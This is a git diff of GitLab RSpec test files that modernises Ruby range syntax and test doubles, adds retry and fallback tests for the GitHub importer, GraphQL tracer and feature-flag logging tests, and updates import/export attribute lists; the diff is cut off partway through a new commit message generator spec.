diff --git a/spec/lib/gitlab/gitaly_client/conflict_files_stitcher_spec.rb b/spec/lib/gitlab/gitaly_client/conflict_files_stitcher_spec.rb
index 0eecdfcb630..d0787d8b673 100644
--- a/spec/lib/gitlab/gitaly_client/conflict_files_stitcher_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/conflict_files_stitcher_spec.rb
@@ -43,10 +43,10 @@ RSpec.describe Gitlab::GitalyClient::ConflictFilesStitcher do
messages = [
double(files: [double(header: header_1), double(header: nil, content: content_1[0..5])]),
- double(files: [double(header: nil, content: content_1[6..-1])]),
+ double(files: [double(header: nil, content: content_1[6..])]),
double(files: [double(header: header_2)]),
double(files: [double(header: nil, content: content_2[0..5]), double(header: nil, content: content_2[6..10])]),
- double(files: [double(header: nil, content: content_2[11..-1])])
+ double(files: [double(header: nil, content: content_2[11..])])
]
conflict_files = described_class.new(messages, target_repository.gitaly_repository).to_a
diff --git a/spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb b/spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb
index 113c47b4f2c..54c84ddc56f 100644
--- a/spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe Gitlab::GitalyClient::DiffStitcher do
msg_2.raw_patch_data = diff_2.patch[0..100]
msg_2.end_of_patch = false
- msg_3 = OpenStruct.new(raw_patch_data: diff_2.patch[101..-1], end_of_patch: true)
+ msg_3 = OpenStruct.new(raw_patch_data: diff_2.patch[101..], end_of_patch: true)
msg_4 = OpenStruct.new(diff_3.to_h.except(:patch))
msg_4.raw_patch_data = diff_3.patch
diff --git a/spec/lib/gitlab/github_import/client_spec.rb b/spec/lib/gitlab/github_import/client_spec.rb
index 194dfb228ee..c4d05e92633 100644
--- a/spec/lib/gitlab/github_import/client_spec.rb
+++ b/spec/lib/gitlab/github_import/client_spec.rb
@@ -221,6 +221,50 @@ RSpec.describe Gitlab::GithubImport::Client do
expect(client.with_rate_limit { 10 }).to eq(10)
end
+
+ context 'when Faraday error received from octokit', :aggregate_failures do
+ let(:error_class) { described_class::CLIENT_CONNECTION_ERROR }
+ let(:info_params) { { 'error.class': error_class } }
+ let(:block_to_rate_limit) { -> { client.pull_request('foo/bar', 999) } }
+
+ context 'when rate_limiting_enabled is true' do
+ it 'retries on error and succeeds' do
+ allow_retry
+
+ expect(client).to receive(:requests_remaining?).twice.and_return(true)
+ expect(Gitlab::Import::Logger).to receive(:info).with(hash_including(info_params)).once
+
+ expect(client.with_rate_limit(&block_to_rate_limit)).to be(true)
+ end
+
+ it 'retries and does not succeed' do
+ allow(client).to receive(:requests_remaining?).and_return(true)
+ allow(client.octokit).to receive(:pull_request).and_raise(error_class, 'execution expired')
+
+ expect { client.with_rate_limit(&block_to_rate_limit) }.to raise_error(error_class, 'execution expired')
+ end
+ end
+
+ context 'when rate_limiting_enabled is false' do
+ before do
+ allow(client).to receive(:rate_limiting_enabled?).and_return(false)
+ end
+
+ it 'retries on error and succeeds' do
+ allow_retry
+
+ expect(Gitlab::Import::Logger).to receive(:info).with(hash_including(info_params)).once
+
+ expect(client.with_rate_limit(&block_to_rate_limit)).to be(true)
+ end
+
+ it 'retries and does not succeed' do
+ allow(client.octokit).to receive(:pull_request).and_raise(error_class, 'execution expired')
+
+ expect { client.with_rate_limit(&block_to_rate_limit) }.to raise_error(error_class, 'execution expired')
+ end
+ end
+ end
end
describe '#requests_remaining?' do
@@ -505,6 +549,25 @@ RSpec.describe Gitlab::GithubImport::Client do
client.search_repos_by_name('test')
end
+
+ context 'when Faraday error received from octokit', :aggregate_failures do
+ let(:error_class) { described_class::CLIENT_CONNECTION_ERROR }
+ let(:info_params) { { 'error.class': error_class } }
+
+ it 'retries on error and succeeds' do
+ allow_retry(:search_repositories)
+
+ expect(Gitlab::Import::Logger).to receive(:info).with(hash_including(info_params)).once
+
+ expect(client.search_repos_by_name('test')).to be(true)
+ end
+
+ it 'retries and does not succeed' do
+ allow(client.octokit).to receive(:search_repositories).and_raise(error_class, 'execution expired')
+
+ expect { client.search_repos_by_name('test') }.to raise_error(error_class, 'execution expired')
+ end
+ end
end
describe '#search_query' do
@@ -531,4 +594,12 @@ RSpec.describe Gitlab::GithubImport::Client do
end
end
end
+
+ def allow_retry(method = :pull_request)
+ call_count = 0
+ allow(client.octokit).to receive(method) do
+ call_count += 1
+ call_count > 1 ? true : raise(described_class::CLIENT_CONNECTION_ERROR, 'execution expired')
+ end
+ end
end
diff --git a/spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb b/spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb
index 0448ada6bca..a0e78186caa 100644
--- a/spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb
@@ -173,9 +173,11 @@ RSpec.describe Gitlab::GithubImport::Importer::DiffNoteImporter, :aggregate_fail
EOB
end
- it 'imports the note as diff note' do
+ before do
stub_user_finder(user.id, true)
+ end
+ it 'imports the note as diff note' do
expect { subject.execute }
.to change(DiffNote, :count)
.by(1)
@@ -212,6 +214,29 @@ RSpec.describe Gitlab::GithubImport::Importer::DiffNoteImporter, :aggregate_fail
```
NOTE
end
+
+ context 'when the note diff file creation fails' do
+ it 'falls back to the LegacyDiffNote' do
+ exception = ::DiffNote::NoteDiffFileCreationError.new('Failed to create diff note file')
+
+ expect_next_instance_of(::Import::Github::Notes::CreateService) do |service|
+ expect(service)
+ .to receive(:execute)
+ .and_raise(exception)
+ end
+
+ expect(Gitlab::GithubImport::Logger)
+ .to receive(:warn)
+ .with(
+ message: 'Failed to create diff note file',
+ 'error.class': 'DiffNote::NoteDiffFileCreationError'
+ )
+
+ expect { subject.execute }
+ .to change(LegacyDiffNote, :count)
+ .and not_change(DiffNote, :count)
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/github_import/importer/note_importer_spec.rb b/spec/lib/gitlab/github_import/importer/note_importer_spec.rb
index 96d8acbd3de..165f543525d 100644
--- a/spec/lib/gitlab/github_import/importer/note_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/note_importer_spec.rb
@@ -52,6 +52,7 @@ RSpec.describe Gitlab::GithubImport::Importer::NoteImporter do
project_id: project.id,
author_id: user.id,
note: 'This is my note',
+ discussion_id: match(/\A[0-9a-f]{40}\z/),
system: false,
created_at: created_at,
updated_at: updated_at
@@ -82,6 +83,7 @@ RSpec.describe Gitlab::GithubImport::Importer::NoteImporter do
project_id: project.id,
author_id: project.creator_id,
note: "*Created by: alice*\n\nThis is my note",
+ discussion_id: match(/\A[0-9a-f]{40}\z/),
system: false,
created_at: created_at,
updated_at: updated_at
diff --git a/spec/lib/gitlab/github_import/parallel_importer_spec.rb b/spec/lib/gitlab/github_import/parallel_importer_spec.rb
index c7b300ff043..d418e87284d 100644
--- a/spec/lib/gitlab/github_import/parallel_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/parallel_importer_spec.rb
@@ -27,8 +27,13 @@ RSpec.describe Gitlab::GithubImport::ParallelImporter do
before do
create(:import_state, :started, project: project)
+ worker = double(:worker)
expect(Gitlab::GithubImport::Stage::ImportRepositoryWorker)
+ .to receive(:with_status)
+ .and_return(worker)
+
+ expect(worker)
.to receive(:perform_async)
.with(project.id)
.and_return('123')
diff --git a/spec/lib/gitlab/gon_helper_spec.rb b/spec/lib/gitlab/gon_helper_spec.rb
index 3d3f381b6d2..b8ed4cf608d 100644
--- a/spec/lib/gitlab/gon_helper_spec.rb
+++ b/spec/lib/gitlab/gon_helper_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::GonHelper do
end
it 'pushes a feature flag to the frontend' do
- gon = instance_double('gon')
+ gon = class_double('Gon')
thing = stub_feature_flag_gate('thing')
stub_feature_flags(my_feature_flag: thing)
diff --git a/spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb b/spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb
index 771f6e1ec46..5d444775e53 100644
--- a/spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb
+++ b/spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb
@@ -192,7 +192,7 @@ RSpec.describe Gitlab::Gpg::InvalidGpgSignatureUpdater do
project: project,
commit_sha: commit_sha,
gpg_key: nil,
- gpg_key_primary_keyid: GpgHelpers::User3.subkey_fingerprints.last[24..-1],
+ gpg_key_primary_keyid: GpgHelpers::User3.subkey_fingerprints.last[24..],
verification_status: 'unknown_key'
end
diff --git a/spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb b/spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb
index 3ce09740ec8..968d938a911 100644
--- a/spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb
+++ b/spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::GrapeLogging::Loggers::ExceptionLogger do
- let(:mock_request) { OpenStruct.new(env: {}) }
+ let(:mock_request) { double('env', env: {}) }
let(:response_body) { nil }
describe ".parameters" do
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::GrapeLogging::Loggers::ExceptionLogger do
describe 'when an exception is available' do
let(:exception) { RuntimeError.new('This is a test') }
let(:mock_request) do
- OpenStruct.new(
+ double('env',
env: {
::API::Helpers::API_EXCEPTION_ENV => exception
}
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb
index 0047d24a215..0741088c915 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:arguments) { {} }
let(:query_type) { GraphQL::ObjectType.new }
let(:schema) { GraphQL::Schema.define(query: query_type, mutation: nil)}
- let(:context) { GraphQL::Query::Context.new(query: OpenStruct.new(schema: schema), values: nil, object: nil) }
+ let(:context) { GraphQL::Query::Context.new(query: double('query', schema: schema), values: nil, object: nil) }
let_it_be(:column_order_id) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'id', order_expression: Project.arel_table[:id].asc) }
let_it_be(:column_order_id_desc) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'id', order_expression: Project.arel_table[:id].desc) }
@@ -98,7 +98,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_id_desc])) }
it 'returns the correct nodes' do
- expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..])
end
end
end
@@ -107,7 +107,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:arguments) { { after: encoded_cursor(projects[1]) } }
it 'only returns the project before the selected one' do
- expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..])
end
context 'when the sort order is descending' do
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
index 8ef5f1147c5..b511a294f97 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:arguments) { {} }
let(:query_type) { GraphQL::ObjectType.new }
let(:schema) { GraphQL::Schema.define(query: query_type, mutation: nil)}
- let(:context) { GraphQL::Query::Context.new(query: OpenStruct.new(schema: schema), values: nil, object: nil) }
+ let(:context) { GraphQL::Query::Context.new(query: double('query', schema: schema), values: nil, object: nil) }
subject(:connection) do
described_class.new(nodes, **{ context: context, max_page_size: 3 }.merge(arguments))
@@ -120,7 +120,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:nodes) { Project.all.order(id: :desc) }
it 'returns the correct nodes' do
- expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..])
end
end
end
@@ -129,7 +129,7 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
let(:arguments) { { after: encoded_cursor(projects[1]) } }
it 'only returns the project before the selected one' do
- expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..])
end
context 'when the sort order is descending' do
diff --git a/spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb b/spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb
index d83ac4dabc5..5bc077a963e 100644
--- a/spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb
+++ b/spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb
@@ -1,6 +1,5 @@
# frozen_string_literal: true
-require "fast_spec_helper"
-require "support/graphql/fake_query_type"
+require "spec_helper"
RSpec.describe Gitlab::Graphql::Tracers::LoggerTracer do
let(:dummy_schema) do
@@ -49,4 +48,15 @@ RSpec.describe Gitlab::Graphql::Tracers::LoggerTracer do
dummy_schema.execute(query_string, variables: variables)
end
+
+ it 'logs exceptions for breaking queries' do
+ query_string = "query fooOperation { breakingField }"
+
+ expect(::Gitlab::GraphqlLogger).to receive(:info).with(a_hash_including({
+ 'exception.message' => 'This field is supposed to break',
+ 'exception.class' => 'RuntimeError'
+ }))
+
+ expect { dummy_schema.execute(query_string) }.to raise_error(/This field is supposed to break/)
+ end
end
diff --git a/spec/lib/gitlab/graphql/tracers/metrics_tracer_spec.rb b/spec/lib/gitlab/graphql/tracers/metrics_tracer_spec.rb
index ff6a76aa319..168f5aa529e 100644
--- a/spec/lib/gitlab/graphql/tracers/metrics_tracer_spec.rb
+++ b/spec/lib/gitlab/graphql/tracers/metrics_tracer_spec.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-require 'fast_spec_helper'
+require 'spec_helper'
require 'rspec-parameterized'
require "support/graphql/fake_query_type"
@@ -36,7 +36,7 @@ RSpec.describe Gitlab::Graphql::Tracers::MetricsTracer do
end
with_them do
- it 'increments sli' do
+ it 'increments apdex sli' do
# Trigger initialization
fake_schema
@@ -56,5 +56,13 @@ RSpec.describe Gitlab::Graphql::Tracers::MetricsTracer do
fake_schema.execute("query lorem { helloWorld }")
end
end
+
+ it "does not record apdex for failing queries" do
+ query_string = "query fooOperation { breakingField }"
+
+ expect(Gitlab::Metrics::RailsSlis.graphql_query_apdex).not_to receive(:increment)
+
+ expect { fake_schema.execute(query_string) }.to raise_error(/This field is supposed to break/)
+ end
end
end
diff --git a/spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb b/spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb
index 7f837e28772..986120dcd95 100644
--- a/spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb
+++ b/spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe Gitlab::Graphql::Tracers::TimerTracer do
before do
current_time = 0
+ allow(tracer_spy).to receive(:trace)
allow(Gitlab::Metrics::System).to receive(:monotonic_time) do
current_time += expected_duration
end
@@ -30,6 +31,18 @@ RSpec.describe Gitlab::Graphql::Tracers::TimerTracer do
dummy_schema.execute(query_string)
+ expect_to_have_traced(tracer_spy, expected_duration, query_string)
+ end
+
+ it "adds a duration_s even if the query failed" do
+ query_string = "query fooOperation { breakingField }"
+
+ expect { dummy_schema.execute(query_string) }.to raise_error(/This field is supposed to break/)
+
+ expect_to_have_traced(tracer_spy, expected_duration, query_string)
+ end
+
+ def expect_to_have_traced(tracer_spy, expected_duration, query_string)
# "parse" and "execute_query" are just arbitrary trace events
expect(tracer_spy).to have_received(:trace).with("parse", {
duration_s: expected_duration,
diff --git a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
index 9e6ad35861f..ddd681f75f0 100644
--- a/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/merge_request_builder_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe Gitlab::HookData::MergeRequestBuilder do
assignee_id
assignee_ids
author_id
+ blocking_discussions_resolved
created_at
description
head_pipeline_id
diff --git a/spec/lib/gitlab/import/import_failure_service_spec.rb b/spec/lib/gitlab/import/import_failure_service_spec.rb
index c16d4a7c804..e3fec63adde 100644
--- a/spec/lib/gitlab/import/import_failure_service_spec.rb
+++ b/spec/lib/gitlab/import/import_failure_service_spec.rb
@@ -7,58 +7,48 @@ RSpec.describe Gitlab::Import::ImportFailureService, :aggregate_failures do
let_it_be(:project) { create(:project, :import_started, import_type: import_type) }
let(:exception) { StandardError.new('some error') }
- let(:arguments) { { project_id: project.id } }
- let(:base_arguments) { { error_source: 'SomeImporter', exception: exception }.merge(arguments) }
- let(:exe_arguments) { { fail_import: false, metrics: false } }
+ let(:import_state) { nil }
+ let(:fail_import) { false }
+ let(:metrics) { false }
+
+ let(:arguments) do
+ {
+ project_id: project.id,
+ error_source: 'SomeImporter',
+ exception: exception,
+ fail_import: fail_import,
+ metrics: metrics,
+ import_state: import_state
+ }
+ end
describe '.track' do
+ let(:instance) { double(:failure_service) }
+
context 'with all arguments provided' do
- let(:instance) { double(:failure_service) }
- let(:instance_arguments) do
+ let(:arguments) do
{
exception: exception,
import_state: '_import_state_',
project_id: '_project_id_',
- error_source: '_error_source_'
- }
- end
-
- let(:exe_arguments) do
- {
+ error_source: '_error_source_',
fail_import: '_fail_import_',
metrics: '_metrics_'
}
end
it 'invokes a new instance and executes' do
- expect(described_class).to receive(:new).with(**instance_arguments).and_return(instance)
- expect(instance).to receive(:execute).with(**exe_arguments)
+ expect(described_class).to receive(:new).with(**arguments).and_return(instance)
+ expect(instance).to receive(:execute)
- described_class.track(**instance_arguments.merge(exe_arguments))
+ described_class.track(**arguments)
end
end
context 'with only necessary arguments utilizing defaults' do
- let(:instance) { double(:failure_service) }
- let(:instance_arguments) do
- {
- exception: exception,
- import_state: nil,
- project_id: nil,
- error_source: nil
- }
- end
-
- let(:exe_arguments) do
- {
- fail_import: false,
- metrics: false
- }
- end
-
it 'invokes a new instance and executes' do
- expect(described_class).to receive(:new).with(**instance_arguments).and_return(instance)
- expect(instance).to receive(:execute).with(**exe_arguments)
+ expect(described_class).to receive(:new).with(a_hash_including(exception: exception)).and_return(instance)
+ expect(instance).to receive(:execute)
described_class.track(exception: exception)
end
@@ -66,7 +56,7 @@ RSpec.describe Gitlab::Import::ImportFailureService, :aggregate_failures do
end
describe '#execute' do
- subject(:service) { described_class.new(**base_arguments) }
+ subject(:service) { described_class.new(**arguments) }
shared_examples 'logs the exception and fails the import' do
it 'when the failure does not abort the import' do
@@ -89,13 +79,14 @@ RSpec.describe Gitlab::Import::ImportFailureService, :aggregate_failures do
source: 'SomeImporter'
)
- service.execute(**exe_arguments)
+ service.execute
expect(project.import_state.reload.status).to eq('failed')
expect(project.import_failures).not_to be_empty
expect(project.import_failures.last.exception_class).to eq('StandardError')
expect(project.import_failures.last.exception_message).to eq('some error')
+ expect(project.import_failures.last.retry_count).to eq(0)
end
end
@@ -120,32 +111,36 @@ RSpec.describe Gitlab::Import::ImportFailureService, :aggregate_failures do
source: 'SomeImporter'
)
- service.execute(**exe_arguments)
+ service.execute
expect(project.import_state.reload.status).to eq('started')
expect(project.import_failures).not_to be_empty
expect(project.import_failures.last.exception_class).to eq('StandardError')
expect(project.import_failures.last.exception_message).to eq('some error')
+ expect(project.import_failures.last.retry_count).to eq(nil)
end
end
context 'when tracking metrics' do
- let(:exe_arguments) { { fail_import: false, metrics: true } }
+ let(:metrics) { true }
it 'tracks the failed import' do
- metrics = double(:metrics)
+ metrics_double = double(:metrics)
- expect(Gitlab::Import::Metrics).to receive(:new).with("#{project.import_type}_importer", project).and_return(metrics)
- expect(metrics).to receive(:track_failed_import)
+ expect(Gitlab::Import::Metrics)
+ .to receive(:new)
+ .with("#{project.import_type}_importer", project)
+ .and_return(metrics_double)
+ expect(metrics_double).to receive(:track_failed_import)
- service.execute(**exe_arguments)
+ service.execute
end
end
context 'when using the project as reference' do
context 'when it fails the import' do
- let(:exe_arguments) { { fail_import: true, metrics: false } }
+ let(:fail_import) { true }
it_behaves_like 'logs the exception and fails the import'
end
@@ -156,10 +151,10 @@ RSpec.describe Gitlab::Import::ImportFailureService, :aggregate_failures do
end
context 'when using the import_state as reference' do
- let(:arguments) { { import_state: project.import_state } }
+ let(:import_state) { project.import_state }
context 'when it fails the import' do
- let(:exe_arguments) { { fail_import: true, metrics: false } }
+ let(:fail_import) { true }
it_behaves_like 'logs the exception and fails the import'
end
diff --git a/spec/lib/gitlab/import/set_async_jid_spec.rb b/spec/lib/gitlab/import/set_async_jid_spec.rb
index 6931a7a953d..016f7cac61a 100644
--- a/spec/lib/gitlab/import/set_async_jid_spec.rb
+++ b/spec/lib/gitlab/import/set_async_jid_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::Import::SetAsyncJid do
it 'sets the JID in Redis' do
expect(Gitlab::SidekiqStatus)
.to receive(:set)
- .with("async-import/project-import-state/#{project.id}", Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION)
+ .with("async-import/project-import-state/#{project.id}", Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION, value: 2)
.and_call_original
described_class.set_jid(project.import_state)
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index b474f5825fd..7ed80cbcf66 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -61,6 +61,7 @@ issues:
- pending_escalations
- customer_relations_contacts
- issue_customer_relations_contacts
+- email
work_item_type:
- issues
events:
@@ -197,6 +198,7 @@ merge_requests:
- system_note_metadata
- note_authors
- cleanup_schedule
+- compliance_violations
external_pull_requests:
- project
merge_request_diff:
@@ -223,6 +225,7 @@ ci_pipelines:
- ci_ref
- stages
- statuses
+- statuses_order_id_desc
- latest_statuses_ordered_by_stage
- builds
- bridges
@@ -596,6 +599,8 @@ project:
- security_scans
- ci_feature_usages
- bulk_import_exports
+- ci_project_mirror
+- sync_events
award_emoji:
- awardable
- user
diff --git a/spec/lib/gitlab/import_export/attributes_permitter_spec.rb b/spec/lib/gitlab/import_export/attributes_permitter_spec.rb
index 8ae387d95e3..c748f966463 100644
--- a/spec/lib/gitlab/import_export/attributes_permitter_spec.rb
+++ b/spec/lib/gitlab/import_export/attributes_permitter_spec.rb
@@ -140,6 +140,7 @@ RSpec.describe Gitlab::ImportExport::AttributesPermitter do
:zoom_meetings | true
:issues | true
:group_members | true
+ :project | true
end
with_them do
@@ -150,7 +151,11 @@ RSpec.describe Gitlab::ImportExport::AttributesPermitter do
describe 'included_attributes for Project' do
subject { described_class.new }
- additional_attributes = { user: %w[id] }
+ # these are attributes for which either a special exception is made or are available only via included modules and not attribute introspection
+ additional_attributes = {
+ user: %w[id],
+ project: %w[auto_devops_deploy_strategy auto_devops_enabled issues_enabled jobs_enabled merge_requests_enabled snippets_enabled wiki_enabled build_git_strategy build_enabled security_and_compliance_enabled requirements_enabled]
+ }
Gitlab::ImportExport::Config.new.to_h[:included_attributes].each do |relation_sym, permitted_attributes|
context "for #{relation_sym}" do
diff --git a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
index 6bb6be07749..1d8b137c196 100644
--- a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
def match_mr1_note(content_regex)
- MergeRequest.find_by(title: 'MR1').notes.select { |n| n.note.match(/#{content_regex}/)}.first
+ MergeRequest.find_by(title: 'MR1').notes.find { |n| n.note.match(/#{content_regex}/) }
end
RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
@@ -75,7 +75,7 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
context 'for an Issue' do
it 'does not import note_html' do
note_content = 'Quo reprehenderit aliquam qui dicta impedit cupiditate eligendi'
- issue_note = Issue.find_by(description: 'Aliquam enim illo et possimus.').notes.select { |n| n.note.match(/#{note_content}/)}.first
+ issue_note = Issue.find_by(description: 'Aliquam enim illo et possimus.').notes.find { |n| n.note.match(/#{note_content}/) }
expect(issue_note.note_html).to match(/#{note_content}/)
end
@@ -552,7 +552,7 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
it 'issue system note metadata restored successfully' do
note_content = 'created merge request !1 to address this issue'
- note = project.issues.first.notes.select { |n| n.note.match(/#{note_content}/)}.first
+ note = project.issues.first.notes.find { |n| n.note.match(/#{note_content}/)}
expect(note.noteable_type).to eq('Issue')
expect(note.system).to eq(true)
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index 9daa3b32fd1..6ffe2187466 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -33,6 +33,7 @@ Issue:
- health_status
- external_key
- issue_type
+- email_message_id
Event:
- id
- target_type
@@ -562,6 +563,7 @@ Project:
- autoclose_referenced_issues
- suggestion_commit_message
- merge_commit_template
+- squash_commit_template
ProjectTracingSetting:
- external_url
Author:
diff --git a/spec/lib/gitlab/lets_encrypt/client_spec.rb b/spec/lib/gitlab/lets_encrypt/client_spec.rb
index 54b9bd3bfba..f1284318687 100644
--- a/spec/lib/gitlab/lets_encrypt/client_spec.rb
+++ b/spec/lib/gitlab/lets_encrypt/client_spec.rb
@@ -73,7 +73,7 @@ RSpec.describe ::Gitlab::LetsEncrypt::Client do
subject(:new_order) { client.new_order('example.com') }
before do
- order_double = instance_double('Acme::Order')
+ order_double = double('Acme::Order')
allow(stub_client).to receive(:new_order).and_return(order_double)
end
@@ -107,7 +107,7 @@ RSpec.describe ::Gitlab::LetsEncrypt::Client do
subject { client.load_challenge(url) }
before do
- acme_challenge = instance_double('Acme::Client::Resources::Challenge')
+ acme_challenge = double('Acme::Client::Resources::Challenge')
allow(stub_client).to receive(:challenge).with(url: url).and_return(acme_challenge)
end
diff --git a/spec/lib/gitlab/lograge/custom_options_spec.rb b/spec/lib/gitlab/lograge/custom_options_spec.rb
index a4ae39a835a..d8f351bb8a3 100644
--- a/spec/lib/gitlab/lograge/custom_options_spec.rb
+++ b/spec/lib/gitlab/lograge/custom_options_spec.rb
@@ -95,5 +95,55 @@ RSpec.describe Gitlab::Lograge::CustomOptions do
expect(subject[correlation_id_key]).to eq('123456')
end
end
+
+ context 'when feature flags are present', :request_store do
+ before do
+ allow(Feature).to receive(:log_feature_flag_states?).and_return(false)
+
+ definitions = {}
+ [:enabled_feature, :disabled_feature].each do |flag_name|
+ definitions[flag_name] = Feature::Definition.new("development/enabled_feature.yml",
+ name: flag_name,
+ type: 'development',
+ log_state_changes: true,
+ default_enabled: false)
+
+ allow(Feature).to receive(:log_feature_flag_states?).with(flag_name).and_call_original
+ end
+
+ allow(Feature::Definition).to receive(:definitions).and_return(definitions)
+
+ Feature.enable(:enabled_feature)
+ Feature.disable(:disabled_feature)
+ end
+
+ context 'and :feature_flag_log_states is enabled' do
+ before do
+ Feature.enable(:feature_flag_state_logs)
+ end
+
+ it 'adds feature flag events' do
+ Feature.enabled?(:enabled_feature)
+ Feature.enabled?(:disabled_feature)
+
+ expect(subject).to have_key(:feature_flag_states)
+ expect(subject[:feature_flag_states]).to match_array(%w[enabled_feature:1 disabled_feature:0])
+ end
+ end
+
+ context 'and :feature_flag_log_states is disabled' do
+ before do
+ Feature.disable(:feature_flag_state_logs)
+ end
+
+ it 'does not track or add feature flag events' do
+ Feature.enabled?(:enabled_feature)
+ Feature.enabled?(:disabled_feature)
+
+ expect(subject).not_to have_key(:feature_flag_states)
+ expect(Feature).not_to receive(:log_feature_flag_state)
+ end
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/merge_requests/commit_message_generator_spec.rb b/spec/lib/gitlab/merge_requests/commit_message_generator_spec.rb
new file mode 100644
index 00000000000..65c76aac10c
--- /dev/null
+++ b/spec/lib/gitlab/merge_requests/commit_message_generator_spec.rb
@@ -0,0 +1,290 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::MergeRequests::CommitMessageGenerator do
+ let(:merge_commit_template) { nil }
+ let(:squash_commit_template) { nil }
+ let(:project) do
+ create(
+ :project,
+ :public,
+ :repository,
+ merge_commit_template: merge_commit_template,
+ squash_commit_template: squash_commit_template
+ )
+ end
+
+ let(:user) { project.creator }
+ let(:source_branch) { 'feature' }
+ let(:merge_request_description) { "Merge Request Description\nNext line" }
+ let(:merge_request_title) { 'Bugfix' }
+ let(:merge_request) do
+ create(
+ :merge_request,
+ :simple,
+ source_project: project,
+ target_project: project,
+ target_branch: 'master',
+ source_branch: source_branch,
+ author: user,
+ description: merge_request_description,
+ title: merge_request_title
+ )
+ end
+
+ subject { described_class.new(merge_request: merge_request) }
+
+ shared_examples_for 'commit message with template' do |message_template_name|
+ it 'returns nil when template is not set in target project' do
+ expect(result_message).to be_nil
+ end
+
+ context 'when project has custom commit template' do
+ let(message_template_name) { <<~MSG.rstrip }
+ %{title}
+
